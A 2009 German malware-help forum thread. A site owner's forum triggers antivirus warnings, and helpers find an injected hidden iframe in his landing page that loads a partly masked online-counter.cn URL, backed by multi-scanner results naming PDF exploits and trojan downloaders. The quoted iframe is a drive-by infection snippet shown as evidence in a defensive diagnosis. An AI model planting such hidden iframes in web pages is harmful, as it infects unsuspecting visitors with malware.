|
Plagegeister aller Art und deren Bekämpfung: Trojaner auf mein Forum ???Windows 7 Wenn Du nicht sicher bist, ob Du dir Malware oder Trojaner eingefangen hast, erstelle hier ein Thema. Ein Experte wird sich mit weiteren Anweisungen melden und Dir helfen die Malware zu entfernen oder Unerwünschte Software zu deinstallieren bzw. zu löschen. Bitte schildere dein Problem so genau wie möglich. Sollte es ein Trojaner oder Viren Problem sein wird ein Experte Dir bei der Beseitigug der Infektion helfen. |
18.11.2009, 09:33 | #1 |
| Trojaner auf mein Forum ??? Hallo, habe bei mir Avast installiert mit dem Web Schutz und wenn ich jetzt auf mein Forum gehen will: h*tp://www.rüsselsheimer-edition.de kommt immer die Info: Das ein Trojanisches Pferd gefunden wurde HTML:IFrame-JZ [Trj] und das er die Seite trennt. Was kann ich machen habe da leider keine Ahnung was ich machen könnte. Danke euch. |
13.12.2009, 01:41 | #2 |
| Trojaner auf mein Forum ??? Kann mir keiner weiterhelfen?
__________________ |
17.12.2009, 12:41 | #3 |
| Trojaner auf mein Forum ??? Glaube das Forum ist Tot da keiner mir Hilfe gibt....
__________________ |
19.12.2009, 23:01 | #4 |
/// Helfer-Team | Trojaner auf mein Forum ??? Und wenn Du direkt auf http://www.rüsselsheimer-edition.de/jgs_portal.php gehst und die dumme Vorschaltseite weglässt? Die ist nämlich die einzige wo ich einen Iframe entdeckt habe. |
20.12.2009, 00:00 | #5 | |
| Trojaner auf mein Forum ??? Tss... Wenn du dir mal die Mühe gemacht hättest und den Quellcode deiner Seite angeschaut hättest, dann wäre dir schnell aufgefallen: Code:
ATTFilter <body> <!-- hJTYsX hwZrh TpA gJK LhdIvzPX --><div style="display:none"><iframe src="***//online-counter.cn/stats/189/****" width="72" height="405"></iframe></div><!--sdjfh8y234jhdsf8340r--> <p> </p> Zitat:
|
20.12.2009, 00:00 | #6 |
| Trojaner auf mein Forum ??? Was meinst du mit Vorschaltseite? LG Mario |
20.12.2009, 00:01 | #7 | |
| Trojaner auf mein Forum ??? Deine Vorschaltseite: Zitat:
Code:
ATTFilter <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>rüsselsheimer-edition</title> <meta http-equiv="refresh" content="0; URL=./jgs_portal.php"> <meta http-equiv="Content-Type" CONTENT="text/html; charset=iso-8859-1"> <meta http-equiv="Language" CONTENT="de"> <meta name="page-topic" content="Das Thema meines Forums"> <meta name="description" content="Das hier ist ein ganz dolles Forum!"> <meta name="keywords" content="Forum WBB labern tratschen BBS"> </head> <body> <!-- hJTYsX hwZrh TpA gJK LhdIvzPX --><div style="display:none"><iframe src="***online-counter.cn/stats/189/index.php" width="72" height="405"></iframe></div><!--sdjfh8y234jhdsf8340r--> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <center> <font face="verdana"><a href=".http://www.rüsselsheimer-edition.de/jgs_portal.php">Wenn die automatische Weiterleitung nicht funktioniert, bitte hier klicken!</a></font><br> </center> </body> </html> |
20.12.2009, 00:29 | #8 |
/// Helfer-Team | Trojaner auf mein Forum ??? Vorhin habe ich es ja noch akzeptiert, dass da ein Counter auf einer chinesischen Seite eingesetzt wird. Jetzt habe ich mir den mal genauer angesehen und da tauchen weitere Iframes auf, ein sehr seltsames PDF, Code:
ATTFilter a-squared 4.5.0.43 2009.12.19 - AhnLab-V3 5.0.0.2 2009.12.19 JS/Exploit AntiVir 7.9.1.114 2009.12.18 - Antiy-AVL 2.0.3.7 2009.12.18 - Authentium 5.2.0.5 2009.12.02 - Avast 4.8.1351.0 2009.12.19 - AVG 8.5.0.427 2009.12.19 - BitDefender 7.2 2009.12.19 - CAT-QuickHeal 10.00 2009.12.19 - Comodo 3301 2009.12.19 - DrWeb 5.0.0.12182 2009.12.19 - eSafe 7.0.17.0 2009.12.16 - eTrust-Vet 35.1.7185 2009.12.19 - F-Prot 4.5.1.85 2009.12.19 - F-Secure 9.0.15370.0 2009.12.19 - Fortinet 4.0.14.0 2009.12.19 - GData 19 2009.12.19 - Ikarus T3.1.1.79.0 2009.12.19 - Jiangmin 13.0.900 2009.12.19 - K7AntiVirus 7.10.923 2009.12.17 - Kaspersky 7.0.0.125 2009.12.20 Exploit.JS.Pdfka.auf McAfee 5837 2009.12.19 Exploit-PDF.ac McAfee+Artemis 5837 2009.12.19 Exploit-PDF.ac McAfee-GW-Edition 6.8.5 2009.12.19 - Microsoft 1.5302 2009.12.19 Exploit:Win32/Pdfjsc.CM NOD32 4702 2009.12.19 - Norman 6.04.03 2009.12.19 - nProtect 2009.1.8.0 2009.12.18 - Panda 10.0.2.2 2009.12.15 - PCTools 7.0.3.5 2009.12.19 - Prevx 3.0 2009.12.20 - Rising 22.26.05.04 2009.12.19 Hack.Exploit.PDF.e Sophos 4.49.0 2009.12.19 - Sunbelt 3.2.1858.2 2009.12.19 Exploit.PDF-JS.Gen (v) Symantec 1.4.4.12 2009.12.19 - TheHacker 6.5.0.2.099 2009.12.19 - TrendMicro 9.100.0.1001 2009.12.19 - VBA32 3.12.12.0 2009.12.19 - ViRobot 2009.12.18.2097 2009.12.18 - VirusBuster 5.0.21.0 2009.12.19 - Code:
ATTFilter a-squared 4.5.0.43 2009.12.19 - AhnLab-V3 5.0.0.2 2009.12.19 - AntiVir 7.9.1.114 2009.12.18 - Antiy-AVL 2.0.3.7 2009.12.18 Trojan/Java.Agent Authentium 5.2.0.5 2009.12.02 - Avast 4.8.1351.0 2009.12.19 - AVG 8.5.0.427 2009.12.19 Downloader.Generic_c.AVI BitDefender 7.2 2009.12.19 - CAT-QuickHeal 10.00 2009.12.19 - ClamAV 0.94.1 2009.12.19 - Comodo 3301 2009.12.19 - DrWeb 5.0.0.12182 2009.12.19 - eSafe 7.0.17.0 2009.12.16 - eTrust-Vet 35.1.7185 2009.12.19 - F-Prot 4.5.1.85 2009.12.19 - F-Secure 9.0.15370.0 2009.12.19 Trojan-Downloader:W32/Small.HDR Fortinet 4.0.14.0 2009.12.19 - GData 19 2009.12.19 - Ikarus T3.1.1.79.0 2009.12.19 Trojan-Downloader.Java.Agent Jiangmin 13.0.900 2009.12.19 - K7AntiVirus 7.10.923 2009.12.17 - Kaspersky 7.0.0.125 2009.12.20 Trojan-Downloader.Java.Agent.af McAfee 5837 2009.12.19 - McAfee+Artemis 5837 2009.12.19 - McAfee-GW-Edition 6.8.5 2009.12.19 - Microsoft 1.5302 2009.12.19 TrojanDownloader:Java/Rexec.A NOD32 4702 2009.12.19 - Norman 6.04.03 2009.12.19 - nProtect 2009.1.8.0 2009.12.18 - Panda 10.0.2.2 2009.12.15 - PCTools 7.0.3.5 2009.12.19 - Prevx 3.0 2009.12.20 - Rising 22.26.05.04 2009.12.19 - Sophos 4.49.0 2009.12.19 Troj/ClsLdr-S Sunbelt 3.2.1858.2 2009.12.19 - Symantec 1.4.4.12 2009.12.19 - TheHacker 6.5.0.2.099 2009.12.19 - TrendMicro 9.100.0.1001 2009.12.19 - VBA32 3.12.12.0 2009.12.19 - ViRobot 2009.12.18.2097 2009.12.18 - VirusBuster 5.0.21.0 2009.12.19 - Code:
ATTFilter a-squared 4.5.0.43 2009.12.19 Trojan.Win32.Chksyn!IK AhnLab-V3 5.0.0.2 2009.12.19 - AntiVir 7.9.1.114 2009.12.18 TR/Crypt.ZPACK.Gen Antiy-AVL 2.0.3.7 2009.12.18 - Authentium 5.2.0.5 2009.12.02 - Avast 4.8.1351.0 2009.12.19 Win32:Malware-gen AVG 8.5.0.427 2009.12.19 Generic16.BQU BitDefender 7.2 2009.12.19 Trojan.Generic.2870040 CAT-QuickHeal 10.00 2009.12.19 Worm.Rimecud.A ClamAV 0.94.1 2009.12.19 - Comodo 3301 2009.12.19 TrojWare.Win32.Trojan.Agent.Gen DrWeb 5.0.0.12182 2009.12.19 Trojan.Packed.688 eSafe 7.0.17.0 2009.12.16 - eTrust-Vet 35.1.7185 2009.12.19 - F-Prot 4.5.1.85 2009.12.19 - F-Secure 9.0.15370.0 2009.12.19 Worm:W32/Palevo.gen!I Fortinet 4.0.14.0 2009.12.19 - GData 19 2009.12.19 Trojan.Generic.2870040 Ikarus T3.1.1.79.0 2009.12.19 Trojan.Win32.Chksyn K7AntiVirus 7.10.923 2009.12.17 - Kaspersky 7.0.0.125 2009.12.20 Trojan.Win32.Swisyn.snv McAfee 5837 2009.12.19 - McAfee+Artemis 5837 2009.12.19 Artemis!215055F7D0E9 McAfee-GW-Edition 6.8.5 2009.12.19 Trojan.Crypt.ZPACK.Gen Microsoft 1.5302 2009.12.19 Trojan:Win32/Chksyn.gen!A NOD32 4702 2009.12.19 - Norman 6.04.03 2009.12.19 - nProtect 2009.1.8.0 2009.12.18 - Panda 10.0.2.2 2009.12.15 - PCTools 7.0.3.5 2009.12.19 Trojan.Generic Prevx 3.0 2009.12.20 - Rising 22.26.05.04 2009.12.19 - Sophos 4.49.0 2009.12.19 Mal/EncPk-MX Sunbelt 3.2.1858.2 2009.12.19 - Symantec 1.4.4.12 2009.12.19 Trojan Horse TheHacker 6.5.0.2.099 2009.12.19 - TrendMicro 9.100.0.1001 2009.12.19 - VBA32 3.12.12.0 2009.12.19 Trojan.Win32.Swisyn.snv ViRobot 2009.12.18.2097 2009.12.18 - VirusBuster 5.0.21.0 2009.12.19 - Für dich heißt das, dass dein Server kompromittiert ist und neu aufgesetzt gehört. Diese Antikversion des Burning Boards noch zu nutzen ist so sicher wie Windows ohne Servicepacks. Alles Klar ? |
Themen zu Trojaner auf mein Forum ??? |
ahnung, applaus, avast, forum, gefunde, html, installier, installiert, pferd, schutz, seite, troja, trojaner, trojanisches, trojanisches pferd, web |